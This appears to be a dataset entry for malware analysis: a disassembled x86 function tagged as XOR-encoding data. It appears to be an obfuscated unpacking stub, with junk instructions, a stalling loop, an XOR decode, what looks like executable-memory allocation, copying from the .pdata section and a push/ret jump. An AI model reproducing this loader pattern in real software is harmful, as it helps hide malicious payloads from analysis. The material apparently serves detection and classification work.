Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3090beaf
add esi, 0xa0327fc
inc esi
popal
mov esi, eax
sub esi, eax
and esi, esi
mov edi, 0
mov esi, eax
mov edx, ebx
inc edx
mov ecx, esi
sub ebx, 0x4a69eb7f
mov ebx, 0xc2c3ff34
mov eax, ecx
and edx, edx
and ebx, ebx
inc edi
or ebx, edx
add edx, 0xd43767b4
cmp edi, 0x1008ebf
jne 0xa789c5
dec edx
add ebx, 0x17aa4897
sub esi, 0xaaf179af
sub esi, eax
mov esi, 0xa78796
mov ecx, 0x389e6838
or ecx, ecx
mov edi, 0xa7898a
mov ecx, ebx
and edx, edx
mov eax, dword [esi]
sub edx, ecx
add edx, 0x59138c57
and eax, 0xff
mov ebx, 0xeb06f927
or ebx, edx
xor dword [edi], eax
dec ecx
sub ecx, ebx
sub edx, 0x78816996
inc edi
sub edx, ecx
or edx, ebx
not ebx
inc esi
add ecx, edx
mov ebx, ecx
cmp edi, entry0
jl 0xa78a16
inc ebx
sub edx, ebx
and edx, ecx
add edx, ecx
dec ecx
add edx, 0xf2461d32
inc ebx
mov edi, 0xa7898e
add ebx, esi
add edx, ebx
mov edi, dword [edi]
sub edx, 0xc1eec0b7
sub edx, 0xdbdae0a7
mov edi, dword [edi]
mov edx, esi
add ebx, 0x7aa1b970
not edx
push edi
sub edx, 0x2c606ea0
add edx, 1
add esi, 0x94a69cbf
mov edi, 0xa7898a
mov ebx, edx
add ebx, 0x9be09953
mov edi, dword [edi]
and esi, ecx
or ecx, ecx
add esi, 0x68443ff1
mov edi, dword [edi]
sub ebx, ecx
dec esi
push 0xa78992
sub ecx, edx
dec ebx
call edi
add edx, 0xf453a259
sub ecx, esi
mov edi, dword [esp]
add esp, 4
mov edx, 0x4b6d1ab0
dec ebx
push 0xa7899f
sub ebx, 0xb2a4a150
sub ebx, 0x8dca3955
add esi, 1
sub esp, 4
mov dword [esp], eax
mov esi, 0x57ef42c5
sub esi, 0x4c8d364b
call edi
mov ebx, 0x8439db9f
add ebx, 0xe476a915
dec ecx
sub esp, 4
mov dword [esp], 0x40
dec ecx
and edx, ebx
push 0x3000
and ebx, ebx
sub ebx, esi
sub edx, 0x2cb13725
push 0x2000055d
sub esi, ebx
add edx, 1
sub esp, 4
mov dword [esp], 0
and edx, esi
not ebx
call eax
not ebx
mov edx, esi
sub edx, 0x4bf30205
add eax, 0x200004ef
mov ecx, ebx
inc ecx
mov edi, 0x89f59908
add edx, esi
dec esi
sub ebx, esi
mov dword [eax], edi
add edx, 0x5d9f1fa8
mov esi, 0xdb55af1c
add esi, esi
mov edi, dword [eax]
add ecx, 1
dec esi
inc esi
cmp edi, 0x89f59908
je 0xa78b85
mov eax, 0
mov dword [eax], edx
add ebx, 0x885c3700
not ebx
not ecx
dec ebx
or edx, edx
add ecx, ebx
mov eax, esi
sub esi, 1
sub esi, 0x75fbf08c
mov edi, section..pdata
sub esi, 0xa5ba161b
mov esi, 0x6862c8fb
not eax
mov ecx, 0xa78795
or esi, esi
sub eax, 0x62a7c4b3
mov edx, 0
add esi, eax
add eax, eax
mov ebx, 0xa78796
mov eax, esi
and eax, eax
lea ebx, [ebx + edx]
add eax, 0x3834c9cc
dec eax
and esi, esi
mov ebx, dword [ebx]
add esi, eax
mov esi, 0x23c844a4
sub esi, 1
and ebx, 0xff
or eax, eax
dec eax
mov eax, esi
add edx, 1
mov eax, esi
or esi, esi
and eax, eax
cmp edx, 0x1f4
jne 0xa78c12
mov edx, 0
add eax, eax
and eax, eax
sub esi, 1
not esi
not esi
xor dword [edi], ebx
sub esi, 0x63294031
add esi, 0x5183bf8b
add edi, 2
add eax, esi
not esi
and eax, esi
cmp edi, ecx
jl 0xa78bca
and esi, esi
mov eax, esi
not eax
not eax
add eax, 0x548723bf
mov eax, section..pdata
sub edi, edx
sub edi, edx
mov ecx, section..pdata
add edx, edx
sub edi, 1
and edx, edi
mov esi, 0xa78795
and edi, edi
or edx, edx
and edx, edx
mov ebx, 0
add edx, 0x1f319754
add edx, 0x10b411e0
mov bl, byte [ecx]
sub edi, 1
or edi, edi
inc edx
mov byte [eax], bl
sub edi, 1
add edx, edx
inc edi
inc eax
and edi, edi
or edi, edx
add ecx, 2
mov edx, 0x8799e44
mov edx, edi
add edi, 0xf039e43b
cmp ecx, esi
jle 0xa78c84
dec edx
dec edx
or esi, eax
add esi, 0x508717e5
and esi, esi
push 0x8dc6a0
sub esi, 1
mov esi, 0x259391f9
ret